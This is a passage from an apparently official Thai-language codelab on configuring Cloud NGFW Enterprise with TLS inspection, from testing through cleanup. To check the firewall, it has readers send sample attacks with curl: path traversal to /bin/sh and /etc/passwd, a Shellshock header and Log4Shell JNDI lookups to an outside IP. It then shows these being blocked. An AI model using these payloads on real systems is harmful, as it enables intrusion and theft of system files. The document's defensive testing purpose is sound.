ตัวอย่างผลลัพธ์ที่คาดหวัง (เว็บไซต์อินเทอร์เน็ต):

400
404
400
403
403

ออกจากเทอร์มินัล VM และกลับไปที่ Cloud Shell

9. สร้างและอัปเดตกฎไฟร์วอลล์สำหรับการตรวจสอบ TLS

ก่อนหน้านี้ เรากำหนดค่ากฎไฟร์วอลล์เพื่ออนุญาตการรับส่งข้อมูลขาเข้าไปยังเซิร์ฟเวอร์ของเราจากซับเน็ตภายใน ตอนนี้เราจะอัปเดตกฎขาเข้าที่มีอยู่และตั้งค่าการดำเนินการเป็น Apply_security_profile_group วิธีนี้จะเปิดใช้การตรวจสอบ E/W L7 ด้วย TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

สร้างกฎใหม่เพื่อตรวจสอบการตรวจสอบ L7 ทางทิศเหนือด้วย TLS

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

สร้างกฎใหม่เพื่ออนุญาตให้ EGRESS สําหรับ E/W ป้องกันไม่ให้มีการตรวจสอบซ้ำ

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. กำลังตรวจสอบการตรวจสอบ TLS แบบเขตเหนือ

เปลี่ยนกลับไปใช้แท็บ VM ของไคลเอ็นต์หรือเชื่อมต่ออีกครั้งโดยทำดังนี้

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

ส่งการโจมตีตัวอย่างไปยังปลายทางอินเทอร์เน็ต

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

เราไม่ได้รับการตอบกลับตามผลลัพธ์ที่คาดไว้ด้านล่าง เพื่อยืนยันว่ามีการบล็อกการโจมตีตัวอย่างแล้ว

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

กำหนดตัวแปรเป็น IP ของเซิร์ฟเวอร์จากเวอร์ชันก่อนหน้า ดังนี้

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

ส่งคำขอ TLS ตัวอย่างไปยังเซิร์ฟเวอร์

curl https://$target_privateip --max-time 2

เอาต์พุตที่คาดไว้:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

เหตุใดคำขอนี้จึงไม่สำเร็จ เนื่องจากไฟร์วอลล์ได้รับใบรับรองจากเซิร์ฟเวอร์ที่ไม่มีการเชื่อถือ ในกรณีนี้ ระบบจะส่งใบรับรองที่ลงนามด้วยตนเองกลับไปยังไคลเอ็นต์ เราต้องเพิ่มใบรับรอง CA เป็นส่วนหนึ่งของการกำหนดค่าการเชื่อถือเพื่อเปิดใช้ความน่าเชื่อถือ

กลับไปที่ Cloud Shell

11. กำหนดค่าความเชื่อถือ

รับใบรับรอง CA รูทและตั้งค่าเป็นตัวแปรด้วยการจัดรูปแบบที่เหมาะสม

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

กำหนดค่าไฟล์ YAML การกำหนดค่าความน่าเชื่อถือ ไฟล์นี้มีรายละเอียดความน่าเชื่อถือ เช่น ใบรับรอง CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

คำสั่งข้างต้นมีใบรับรอง CA รูท ซึ่งเป็นส่วนหนึ่งของ Trust Store เนื่องจากมีการลงนามใบรับรองเซิร์ฟเวอร์โดยใช้ CA ระดับรูท ซึ่งหมายความว่าไฟร์วอลล์จะเชื่อถือใบรับรองทั้งหมดที่ได้รับซึ่งลงชื่อโดย Root CA ของคุณ นอกเหนือไปจาก CA สาธารณะ หากนโยบาย TLS ของคุณยกเว้นPublicCaSet เป็น "เท็จ"

ตรวจสอบเนื้อหาของการกำหนดค่าความน่าเชื่อถือ

cat trust_config.yaml 

ตัวอย่างผลลัพธ์:

โปรดให้ความสำคัญกับการปรับการเยื้องของใบรับรอง ซึ่งต้องเป็นไปตามรูปแบบนี้ทุกประการ

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

นำเข้าการกำหนดค่าความน่าเชื่อถือดังนี้

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

อัปเดตไฟล์ YAML นโยบาย TLS เพื่อรวมการกำหนดค่าการเชื่อถือดังนี้

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

นำเข้านโยบาย TLS ที่อัปเดต ดังนี้

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. กำลังตรวจสอบการตรวจสอบ TLS ของ E/W

SSH กลับไปยังไคลเอ็นต์เพื่อทดสอบการรับส่งข้อมูล E/W ด้วยการกำหนดค่าความน่าเชื่อถือที่อัปเดตแล้ว

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

เรียกใช้ตัวอย่างคำขอ TLS ไปยังเซิร์ฟเวอร์

curl https://$target_privateip --max-time 2

หากคุณยังคงได้รับผลลัพธ์ด้านล่าง โปรดรอให้การอัปเดตมีผล

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

เอาต์พุตที่คาดไว้:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

ส่งการเข้าชมทดสอบที่เป็นอันตรายไปยังเซิร์ฟเวอร์:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

เอาต์พุตที่คาดไว้:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

เราไม่ได้รับการตอบกลับตามผลลัพธ์ที่คาดไว้ด้านล่าง เพื่อยืนยันว่าตอนนี้การโจมตีตัวอย่างได้ถูกบล็อกสำหรับ E/W แล้ว

13. การบันทึก

ไปที่การบันทึก > เครื่องมือสำรวจบันทึกผ่าน Cloud Console ป้อนตัวกรองด้านล่างและค้นหาบันทึก แทนที่ [PROJECT_ID] ด้วย project_id ของคุณ

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

รายการบันทึก Cloud NGFW Enterprise ควรมีลักษณะคล้ายกับด้านล่างนี้

5b68cc1063c0f4bd.png

ขยายรายการบันทึกและสังเกตว่ามีการระบุและบล็อกการโจมตีที่ส่งจาก VM ของไคลเอ็นต์ไปยังเซิร์ฟเวอร์ (ช่องโหว่ของ Remote Code Execution ของ Apache Log4j ตามภาพหน้าจอด้านล่าง)

478f18f8481e90ed.png

คุณทำให้ Cloud NGFW Enterprise พร้อมการตรวจสอบ TLS เพื่อบล็อกคำขอที่เป็นอันตรายสำเร็จแล้ว

ดำเนินการต่อในส่วนถัดไปเพื่อดูขั้นตอนการล้างข้อมูล

14. ขั้นตอนการล้างข้อมูล

การล้างข้อมูลการตั้งค่าพื้นฐาน

นำอินสแตนซ์ออก

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

ทำตามขั้นตอนด้านล่างหากบทบาท tagAdmin และ tagUsers มีการเปลี่ยนแปลง

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

นำคีย์และค่าแท็กออก ดังนี้

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

นำนโยบายและการเชื่อมโยงเครือข่าย Cloud ไฟร์วอลล์ออก

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

ลบ Cloud Router และ Cloud NAT ดังนี้

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

ลบที่อยู่ IP ที่จองไว้

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud ไฟร์วอลล์ SPG, การเชื่อมโยง และการล้างข้อมูล TLS

ลบกลุ่มโปรไฟล์ความปลอดภัยและโปรไฟล์ภัยคุกคามตามลำดับดังนี้

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

ลบการเชื่อมโยงปลายทาง Cloud ไฟร์วอลล์

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

ลบปลายทาง Cloud Firewall ซึ่งอาจใช้เวลาประมาณ 20 นาทีดังนี้

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

(ไม่บังคับ) ยืนยันว่าปลายทาง Cloud NGFW ถูกลบไปแล้วโดยเรียกใช้คำสั่งด้านล่าง

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

สถานะของปลายทางควรแสดง:

STATE: DELETING

เมื่อเสร็จแล้ว ระบบจะไม่แสดงรายการปลายทางอีกต่อไป

ลบนโยบาย TLS และการกำหนดค่าความน่าเชื่อถือตามลำดับต่อไปนี้

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

ปิดใช้และลบ CA รูทและกลุ่ม CA ต่อไปนี้

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

ซับเน็ตและการล้างข้อมูล VPC

สุดท้าย ให้ลบซับเน็ตและเครือข่าย VPC ดังนี้

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. ยินดีด้วย

ขอแสดงความยินดี คุณดำเนินการตาม Codelab ของ Cloud NGFW Enterprise สำหรับ East-West และ Northbound TLS Inspection เสร็จสมบูรณ์แล้ว